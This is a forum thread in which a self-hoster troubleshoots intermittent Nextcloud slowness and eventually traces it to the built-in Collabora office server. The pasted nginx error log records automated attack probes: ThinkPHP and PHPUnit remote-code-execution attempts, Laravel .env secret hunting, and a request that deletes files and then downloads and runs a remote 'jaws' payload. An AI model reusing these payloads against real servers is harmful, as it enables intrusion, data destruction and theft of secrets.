Nextcloud sometimes really, really slow or unreachable

Nextcloud version : 21.0.3
Operating system and version (eg, Ubuntu 20.04): OpenMediaVault based on Debian 10 (Buster)
Nginx: 1.14.2
PHP version : 7.4

The issue you are facing:

My nextcloud instance is sometimes not reachable or just veryyyyy slow (30+s load time). After half to a few minutes the instance is reachable again and very responsive just as it was before. This again lasts for a few minutes just for the frontend to be slow again, it goes on and on like this.

At first I thought it was a routing problem by my ISP (self hosted, ports 80 and 443 forwarded) since it worked when proxied through cloudflare, but it wasn’t. No matter how I access the frontend (only via my local network, over my DSL-Line or via mobile, the problem stays the same.

I am 99% sure that there is a problem with my webserver/php config/database config/nextcloud config. I once again checked all the recommended server tuning settings, reinstalled apcu and checked my pool.d configuration files.
Every other site hosted on this server is responsive, even when nextcloud is not.

I can’t find errors that could possibly cause this problem in my log files (neither Nextcloud nor Nginx). I does not correlate with a running cronjob and I there aren’t any peaks in CPU/RAM/Disk usage that would explain such behaviour.

I don’t know the exact moment when this problem started to occur and I haven’t changed anything in the config. I just regularly update via apt-get update && upgrade and always update any apps or the Nextcloud app itself.

The output of your Nextcloud log in Admin > Logging:

Error	no app in context	Sabre\DAV\Exception\BadRequest: Expected filesize of 100000000 bytes but read (from Nextcloud client) and wrote (to Nextcloud storage) 35094528 bytes. Could either be a network problem on the sending side or a problem writing to the storage on the server side.		2021-07-06T17:26:21+0200
Error	no app in context	Sabre\DAV\Exception\BadRequest: Expected filesize of 100000000 bytes but read (from Nextcloud client) and wrote (to Nextcloud storage) 59146240 bytes. Could either be a network problem on the sending side or a problem writing to the storage on the server side.		2021-07-06T17:25:23+0200
Error	PHP	Unknown: send of 5 bytes failed with errno=32 Broken pipe at Unknown#0		2021-07-05T19:57:50+0200
Error	PHP	Unknown: send of 5 bytes failed with errno=32 Broken pipe at Unknown#0		2021-07-05T19:57:50+0200
Error	mail	Exception: Call to undefined function OCA\Mail\array_flat_map()		2021-07-05T19:37:38+0200
Error	mail	Exception: Call to undefined function OCA\Mail\array_flat_map()		2021-07-05T19:37:07+0200
Error	mail	Exception: Call to undefined function OCA\Mail\array_flat_map()		2021-07-05T19:36:36+0200
Error	mail	Exception: Call to undefined function OCA\Mail\array_flat_map()		2021-07-05T19:36:05+0200
Error	mail	Exception: Call to undefined function OCA\Mail\array_flat_map()		2021-07-05T19:35:36+0200
Error	mail	Exception: Call to undefined function OCA\Mail\array_flat_map()		2021-07-05T19:35:36+0200

The output of your config.php file in /path/to/nextcloud (make sure you remove any identifiable information!):

<?php
$CONFIG = array (
  'memcache.local' => '\\OC\\Memcache\\APCu',
  'instanceid' => 'x',
  'passwordsalt' => 'x',
  'secret' => 'x',
  'trusted_domains' =>
  array (
    0 => 'x',
  ),
  'logfile' => '/var/www/x/data/nextcloud.log',
  'loglevel' => '1',
  'datadirectory' => 'x',
  'dbtype' => 'mysql',
  'version' => '21.0.3.1',
  'overwrite.cli.url' => 'x',
  'dbname' => 'x',
  'dbhost' => 'localhost',
  'dbport' => '3306',
  'dbtableprefix' => 'oc_',
  'mysql.utf8mb4' => true,
  'dbuser' => 'x',
  'dbpassword' => 'x',
  'installed' => true,
  'mail_from_address' => 'x',
  'mail_smtpmode' => 'smtp',
  'mail_sendmailmode' => 'smtp',
  'mail_domain' => 'x.x',
  'mail_smtpauthtype' => 'LOGIN',
  'mail_smtpauth' => 1,
  'mail_smtphost' => 'x',
  'mail_smtpport' => 'x',
  'mail_smtpname' => 'x',
  'mail_smtppassword' => 'x',
  'mail_smtpsecure' => 'tls',
  'default_phone_region' => 'DE',
  'filesystem_check_changes' => 1,
  'maintenance' => false,
  'simpleSignUpLink.shown' => false,
  'theme' => '',
  'updater.secret' => 'x',
);

The output of your Apache/nginx/system log in /var/log/____:

2021/07/07 06:07:56 [error] 12540#12540: *928 open() "/usr/share/nginx/html/api/jsonws/invoke" failed (2: No such file or directory), client: x, server: x, request: "POST /api/jsonws/invoke HTTP/1.1", host: "x:80"
2021/07/07 06:07:56 [error] 12540#12540: *929 open() "/usr/share/nginx/html/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" failed (2: No such file or directory), client: x, server: x, request: "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1", host: "x:80"
2021/07/07 06:07:56 [error] 12540#12540: *930 open() "/usr/share/nginx/html/solr/admin/info/system" failed (2: No such file or directory), client: x, server: x, request: "GET /solr/admin/info/system?wt=json HTTP/1.1", host: "x:80"
2021/07/07 06:07:57 [error] 12540#12540: *931 open() "/usr/share/nginx/html/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" failed (2: No such file or directory), client: x, server: x, request: "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1", host: "x:80"
2021/07/07 06:07:57 [error] 12540#12540: *932 open() "/usr/share/nginx/html/index.php" failed (2: No such file or directory), client: x, server: x, request: "GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1", host: "3$
2021/07/07 06:07:58 [error] 12540#12540: *933 "/usr/share/nginx/html/console/index.html" is not found (2: No such file or directory), client: x, server: x, request: "GET /console/ HTTP/1.1", host: "x:80"
2021/07/07 06:07:58 [error] 12540#12540: *935 open() "/usr/share/nginx/html/Autodiscover/Autodiscover.xml" failed (2: No such file or directory), client: x, server: x, request: "POST /Autodiscover/Autodiscover.xml HTTP/1.1", host: "x:80"
2021/07/07 06:07:58 [error] 12540#12540: *936 open() "/usr/share/nginx/html/wp-content/plugins/wp-file-manager/readme.txt" failed (2: No such file or directory), client: x, server: x, request: "GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1", host: "x:80"
2021/07/07 06:07:58 [error] 12540#12540: *937 open() "/usr/share/nginx/html/_ignition/execute-solution" failed (2: No such file or directory), client: x, server: x, request: "GET /_ignition/execute-solution HTTP/1.1", host: "x:80"
2021/07/07 09:46:53 [error] 12540#12540: *1975 open() "/usr/share/nginx/html/config/getuser" failed (2: No such file or directory), client: x, server: x, request: "GET /config/getuser?index=0 HTTP/1.1", host: "x:80"
2021/07/07 10:34:35 [error] 12540#12540: *2168 open() "/usr/share/nginx/html/laravel/.env" failed (2: No such file or directory), client: x, server: x, request: "GET /laravel/.env HTTP/1.1", host: "x"
2021/07/07 10:34:48 [error] 12540#12540: *2171 open() "/usr/share/nginx/html/laravel/.env.dev.local" failed (2: No such file or directory), client: x, server: x, request: "GET /laravel/.env.dev.local HTTP/1.1", host: "x"
2021/07/07 10:35:00 [error] 12540#12540: *2172 open() "/usr/share/nginx/html/laravel/.env.development.local" failed (2: No such file or directory), client: x, server: x, request: "GET /laravel/.env.development.local HTTP/1.1", host: "x"
2021/07/07 10:35:13 [error] 12540#12540: *2175 open() "/usr/share/nginx/html/laravel/.env.prod.local" failed (2: No such file or directory), client: x, server: x, request: "GET /laravel/.env.prod.local HTTP/1.1", host: "x"
2021/07/07 10:35:27 [error] 12540#12540: *2176 open() "/usr/share/nginx/html/laravel/.env.production.local" failed (2: No such file or directory), client: x, server: x, request: "GET /laravel/.env.production.local HTTP/1.1", host: "x"
2021/07/07 10:35:40 [error] 12540#12540: *2179 open() "/usr/share/nginx/html/laravel/.env.local" failed (2: No such file or directory), client: x, server: x, request: "GET /laravel/.env.local HTTP/1.1", host: "x"
2021/07/07 10:35:53 [error] 12540#12540: *2180 open() "/usr/share/nginx/html/laravel/.env.stage" failed (2: No such file or directory), client: x, server: x, request: "GET /laravel/.env.stage HTTP/1.1", host: "x"
2021/07/07 10:36:06 [error] 12540#12540: *2183 open() "/usr/share/nginx/html/laravel/.env.live" failed (2: No such file or directory), client: x, server: x, request: "GET /laravel/.env.live HTTP/1.1", host: "x"
2021/07/07 11:05:50 [error] 12540#12540: *2313 open() "/usr/share/nginx/html/shell" failed (2: No such file or directory), client: x, server: x, request: "GET /shell?cd+/tmp;rm+-rf+*;wget+x/jaws;sh+/tmp/jaws HTTP/1.1", host: "127.0.0.1:80"
2021/07/07 12:44:03 [error] 12540#12540: *2817 open() "/usr/share/nginx/html/.env" failed (2: No such file or directory), client: x, server: x, request: "GET /.env HTTP/1.1", host: "x"
2021/07/07 14:15:00 [error] 12540#12540: *3477 open() "/usr/share/nginx/html/.env" failed (2: No such file or directory), client: x, server: x, request: "GET /.env HTTP/1.1", host: "x"
2021/07/07 14:48:08 [error] 12540#12540: *3637 open() "/usr/share/nginx/html/favicon.ico" failed (2: No such file or directory), client: x, server: x, request: "GET /favicon.ico HTTP/1.1", host: "x"
2021/07/07 15:13:18 [error] 12540#12540: *3756 open() "/usr/share/nginx/html/config/getuser" failed (2: No such file or directory), client: x, server: x, request: "GET /config/getuser?index=0 HTTP/1.1", host: "x:80"
2021/07/07 15:18:01 [error] 12540#12540: *3781 open() "/usr/share/nginx/html/boaform/admin/formLogin" failed (2: No such file or directory), client: 209.141.41.98, server: x, request: "POST /boaform/admin/formLogin HTTP/1.1", host: "x:80", referrer: "http://x:80/admin/login.asp"

I’ve additonally tested using the website and logging via Chrome’s dev tools. If the problem described above happens, the following is shown in the log:

Image (Forum upload is broken)

Basically Chromes tries to load the page, but then the first request is cancelled and the second request is then pending for multiple seconds. After that, it again works perfectly fine, for a few seconds to minutes.

Hi @dueruem , have you set opcache ,a memcache and php-fpm ?
see : https://docs.nextcloud.com/server/latest/admin_manual/installation/server_tuning.html
https://docs.nextcloud.com/server/latest/admin_manual/configuration_server/caching_configuration.html

Hi @Mageunic

Yes, opcache, memcache and php-fpm is in use.

@dueruem oh, try to use tools to identify the process or the drive that slows down your system.

Tools such as htop, iotop, netdata or glances will help to identify the process or the drive that slows down your system.

My system is not slowed down at all. Every other site hosted on the server is perfectly reachable without problems. It has to do something with nextcloud or it’s config.

@dueruem ok, nextcloud uses mainly php maybe optimize the php config and php-fpm can help you

I think I found the problem: RichDocuments built-in CODE causes significant slowdown/timeout issues · Issue #1282 · nextcloud/richdocuments · GitHub
After disabling everything that had to do with collabora my instance was snappy again.
It’s an unsolved issue that persists since over half a year.

1 Like

@dueruem richdocument based on collabora office use more ressources than onlyoffice because because the server takes care of the display and the edition of the documents what is not the case of onlyoffice which manages only the edition and the client takes care of the display.

Yeah that may be true but I wasn’t even trying to edit a document or something and my system is more than powerful enough for this. It seems to be a bug in collabora.

1 Like

@dueruem maybe you should install the server manually without going through the nextcloud applications, it would solve many problems